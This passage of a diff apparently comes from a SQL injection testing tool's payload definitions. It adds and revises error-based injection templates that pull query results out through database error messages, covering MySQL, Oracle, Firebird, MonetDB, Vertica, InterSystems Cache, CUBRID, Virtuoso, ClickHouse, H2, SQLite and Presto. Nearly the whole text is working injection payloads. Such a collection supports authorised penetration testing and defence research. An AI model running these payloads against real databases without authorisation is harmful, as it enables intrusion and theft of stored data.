-            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&lt; 5.0</dbms_version>
-        </details>
-    </test>
-
     <test>
         <title>PostgreSQL boolean-based blind - Stacked queries</title>
         <stype>1</stype>

data/xml/payloads/error_based.xml

@@ -2,6 +2,88 @@
 
 <root>
     <!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
+    <!-- GTID_SUBSET before EXTRACTVALUE: its error reflects ~200 chars vs ~31, so far fewer requests -->
+    <test>
+        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
+    <!-- UUID_TO_BIN backup (MySQL 8.0+, exclusive): ~128-char echo vs EXTRACTVALUE's ~31 if GTID_SUBSET is filtered -->
+    <test>
+        <title>MySQL &gt;= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
+        <request>
+            <payload>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 8.0</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>MySQL &gt;= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
+        <request>
+            <payload>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 8.0</dbms_version>
+        </details>
+    </test>
+
     <test>
         <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
         <stype>2</stype>
@@ -51,46 +133,6 @@
         </details>
     </test>
 
-    <test>
-        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
-        <stype>2</stype>
-        <level>2</level>
-        <risk>1</risk>
-        <clause>1,2,3,8,9</clause>
-        <where>1</where>
-        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
-        <request>
-            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
-        </request>
-        <response>
-            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&gt;= 5.6</dbms_version>
-        </details>
-    </test>
-
-    <test>
-        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
-        <stype>2</stype>
-        <level>2</level>
-        <risk>3</risk>
-        <clause>1,8,9</clause>
-        <where>1</where>
-        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
-        <request>
-            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
-        </request>
-        <response>
-            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&gt;= 5.6</dbms_version>
-        </details>
-    </test>
-
     <test>
         <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
         <stype>2</stype>
@@ -271,7 +313,7 @@
     </test>
 
     <test>
-        <title>MySQL &gt;= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
+        <title>MySQL &gt;= 5.0 (inline) error-based - Table name clause (FLOOR)</title>
         <stype>2</stype>
         <level>5</level>
         <risk>1</risk>
@@ -593,7 +635,7 @@
         <risk>3</risk>
         <clause>1,9</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -608,7 +650,7 @@
     <test>
         <title>Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
         <stype>2</stype>
-        <level>2</level>
+        <level>4</level>
         <risk>1</risk>
         <clause>1,9</clause>
         <where>1</where>
@@ -628,7 +670,7 @@
     <test>
         <title>Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
         <stype>2</stype>
-        <level>2</level>
+        <level>4</level>
         <risk>3</risk>
         <clause>1,9</clause>
         <where>2</where>
@@ -686,7 +728,7 @@
     <test>
         <title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
         <stype>2</stype>
-        <level>4</level>
+        <level>2</level>
         <risk>1</risk>
         <clause>1,9</clause>
         <where>1</where>
@@ -705,7 +747,7 @@
     <test>
         <title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
         <stype>2</stype>
-        <level>4</level>
+        <level>2</level>
         <risk>3</risk>
         <clause>1,9</clause>
         <where>2</where>
@@ -728,9 +770,10 @@
         <risk>1</risk>
         <clause>1</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <!-- BIN_SHL (Firebird-exclusive) encloses the value-bearing BIGINT cast: reflects on Firebird, fails to bind elsewhere -->
+        <vector>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
         <request>
-            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
+            <payload>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -747,9 +790,9 @@
         <risk>3</risk>
         <clause>1</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <vector>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
         <request>
-            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
+            <payload>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -766,9 +809,10 @@
         <risk>1</risk>
         <clause>1</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <!-- ms_trunc (MonetDB-exclusive) encloses the value-bearing DECIMAL cast: reflects on MonetDB, fails to bind elsewhere -->
+        <vector>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
         <request>
-            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+            <payload>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -785,9 +829,9 @@
         <risk>3</risk>
         <clause>1</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <vector>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
         <request>
-            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+            <payload>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -804,9 +848,10 @@
         <risk>1</risk>
         <clause>1</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <!-- ZEROIFNULL (Vertica-exclusive) encloses the value-bearing NUMERIC cast: reflects on Vertica, fails to bind elsewhere -->
+        <vector>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
         <request>
-            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+            <payload>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -823,9 +868,9 @@
         <risk>3</risk>
         <clause>1</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <vector>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
         <request>
-            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+            <payload>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -835,6 +880,123 @@
         </details>
     </test>
 
+    <test>
+        <title>InterSystems Cache AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <!-- TO_POSIXTIME (Cache/IRIS-exclusive) encloses TO_DATE, whose "Invalid input" error echoes the evaluated value -->
+        <vector>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
+        <request>
+            <payload>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>InterSystems Cache</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>InterSystems Cache OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
+        <request>
+            <payload>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>InterSystems Cache</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>CUBRID AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <!-- INET_ATON echoes its evaluated arg on a bad address; error-confirms only on CUBRID (MySQL returns NULL, others lack it) -->
+        <vector>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Cubrid</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>CUBRID OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Cubrid</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Virtuoso AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <!-- bit_shift (Virtuoso-exclusive) encloses the value-bearing INTEGER cast: reflects on Virtuoso, fails to bind elsewhere -->
+        <vector>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
+        <request>
+            <payload>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Virtuoso</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Virtuoso OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
+        <request>
+            <payload>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Virtuoso</dbms>
+        </details>
+    </test>
+
     <test>
         <title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
         <stype>2</stype>
@@ -880,7 +1042,7 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -899,7 +1061,7 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -911,6 +1073,65 @@
         </details>
     </test>
 
+    <!-- getSetting backup (ClickHouse-exclusive, unlimited echo, funky/unlikely-filtered) -->
+    <test>
+        <title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <!-- ROTATELEFT (H2-exclusive) encloses the value-bearing INT cast: reflects on H2, fails to bind elsewhere -->
+        <vector>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
+        <request>
+            <payload>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
+        <request>
+            <payload>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
         <stype>2</stype>
@@ -948,17 +1169,93 @@
             <dbms>Spanner</dbms>
         </details>
     </test>
-    <!--
+    <!-- SQLite: an invalid JSON path is the one construct that errors and echoes its argument (needs JSON1) -->
-         TODO: if possible, add payload for SQLite, Microsoft Access,
+    <test>
-         and SAP MaxDB - no known techniques at this time
+        <title>SQLite &gt;= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)</title>
-    -->
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>SQLite</dbms>
+            <dbms_version>&gt;= 3.9</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>SQLite &gt;= 3.9 OR error-based - WHERE or HAVING clause (JSON path)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>SQLite</dbms>
+            <dbms_version>&gt;= 3.9</dbms_version>
+        </details>
+    </test>
+
+    <!-- Presto/Trino: PARSE_DATA_SIZE is engine-exclusive and echoes its argument ('Invalid data size: X') -->
+    <test>
+        <title>Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Presto</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Presto</dbms>
+        </details>
+    </test>
+
     <!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
 
     <!-- Error-based tests - LIMIT clause -->
     <test>
         <title>MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
         <stype>2</stype>
-        <level>2</level>
+        <level>5</level>
         <risk>1</risk>
         <clause>1,2,3,4,5</clause>
         <where>1</where>
@@ -1218,7 +1515,7 @@
         <risk>1</risk>
         <clause>1,3</clause>
         <where>3</where>
-        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
